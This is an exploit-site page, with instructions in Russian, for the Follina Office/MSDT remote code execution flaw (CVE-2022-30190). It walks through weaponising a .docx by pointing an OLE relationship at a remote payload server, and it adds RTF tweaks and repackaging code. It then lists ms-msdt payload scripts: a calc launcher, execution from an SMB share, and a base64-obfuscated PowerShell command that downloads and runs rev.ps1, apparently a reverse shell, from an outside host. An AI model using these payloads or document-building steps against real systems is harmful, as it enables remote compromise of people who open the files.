Sploitus

Exploit for MS-MSDT-Office-RCE-Follina

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN100 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XFLAGPLZ-MS-MSDT-OFFICE-RCE-FOLLINA
# MS-MSDT-Office-RCE-Follina

CVE-2022-30190 | MS-MSDT Follina Один клик

  1. Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ» Docx.
  2. Π’ Ρ„Π°ΠΉΠ»Π΅ Docx: Вставка > ΠžΠ±ΡŠΠ΅ΠΊΡ‚ > Π’ΠΎΡ‡Π΅Ρ‡Π½Ρ‹ΠΉ рисунок > Ок
  3. Π’ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ Paint сохранитС Ρ„Π°ΠΉΠ» Paint.
  4. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ваш Ρ„Π°ΠΉΠ» Docx.
  5. ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ ваш Ρ„Π°ΠΉΠ» ΠΊΠ°ΠΊ Π°Ρ€Ρ…ΠΈΠ² (с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ 7Zip; ΠŸΡ€Π°Π²Ρ‹ΠΉ ΠΊΠ»ΠΈΠΊ > 7Zip > ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π°Ρ€Ρ…ΠΈΠ².)
  6. Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ Document.xml ΠΈΠ· \Word\ ΠΈ Ρ„Π°ΠΉΠ» document.xml.rels ΠΈΠ· \word_rels\
  7. ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅/ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ \word_rels\Document.xml.rels ΠΈ Π½Π°ΠΉΠ΄ΠΈΡ‚Π΅ XML-Ρ‚Π΅Π³ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ с "/relationships/oleObject". ПослС этого Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ адрСс Π² "Target=" Π½Π° ваш ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ адрСс, ΠΎΡ‚ΠΊΡƒΠ΄Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π° Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠ°. Π’Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ "TargetMode="External"" Π² XML-Ρ‚Π΅Π³.
  8. Π‘ΠΎΠΆΠΌΠΈΡ‚Π΅ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² Ρ„Π°ΠΉΠ» Docx (ΠžΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ > БТатая ZIP-ΠΏΠ°ΠΏΠΊΠ° | ΠŸΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΡƒΠΉΡ‚Π΅ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Ρ„Π°ΠΉΠ»Π° с zip Π½Π° docx/doc)



* * *

### Π’ΠΈΠΏ Ρ„Π°ΠΉΠ»Π° RTF

ПослС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ docx-Ρ„Π°ΠΉΠ» сохранСн с использованиСм ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² шага / ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π½ΠΈΠΆΠ΅. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Docx ΠΊΠ°ΠΊ RTF.

> Если Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚Π΅ эти элСмСнты ΠΏΠΎΠ΄ элСмСнт `<o:OLEObject>` Π² `word/document.xml`:

root@kitploit:~
    
    
    <o:LinkType>EnhancedMetaFile</o:LinkType>
    <o:LockedField>false</o:LockedField>
    <o:FieldCodes>\f 0</o:FieldCodes>
    

* * *

ΠŸΡ€ΠΎΡ†Π΅ΡΡ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠΉ Π°Ρ€Ρ…ΠΈΠ²Π°Ρ†ΠΈΠΈ ΠΌΠΎΠΆΠ½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π² скриптС Python ΠΎΡ‚ JohnHammond: ~ Rebuild the original office file ~

root@kitploit:~
    
    
    shutil.make_archive(args.output, "zip", doc_path)
    os.rename(args.output + ".zip", args.output)
    

Бсылка: https://github.com/JohnHammond/msdt-follina/blob/main/follina.py

* * *

## ΠŸΠΎΠ»Π΅Π·Π½Ρ‹Π΅ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ

### Π‘Π°Π·ΠΎΠ²Ρ‹ΠΉ запуск ΠΊΠ°Π»ΡŒΠΊΡƒΠ»ΡΡ‚ΠΎΡ€Π°:

root@kitploit:~
    
    
    <script>
    window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process('calc'))i/../../../../../../../../../../../../../../Windows/system32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
    </script>
    

МоТно Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ `Start-Process('calc')` Π½Π°:

> `IEX('calc.exe')`

* * *

### Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±Ρ‰ΠΈΠΉ рСсурс SMB:

root@kitploit:~
    
    
    <script>
    location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=/../../$(\\\\taretip\\share\\poc)/.exe)"";
    </script>
    

* * *

### Π—Π°Π³Ρ€ΡƒΠ·ΠΊΠ° PS1-Ρ„Π°ΠΉΠ»Π°:

root@kitploit:~
    
    
    <script>
    window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'cG93ZXJzaGVsbC5leGUgLWMgImlleCAoaXdyIGh0dHA6Ly8xOTIuMTY4LjE5OC4xMjgvcmV2LnBzMSAtVXNlQmFzaWNQYXJzaW5nKSIK'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
    </script>  
    

Π”Π΅ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ:

root@kitploit:~
    
    
    Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("powershell.exe -c "iex (iwr http://192.168.198.128/rev.ps1 -UseBasicParsing)""))))
    

* * *

### Apache2 access.log Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ соСдинСниС ΠΏΡ€ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠΈ Ρ„Π°ΠΉΠ»Π°

![ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π»ΠΎΠ³Π°](https://assets.kitploit.com/production/public/readmes/14426/049be09042f2bb7e7102e1a574d50386b6b6ecffb40aa9526b24d0ce2a76ffdc.png)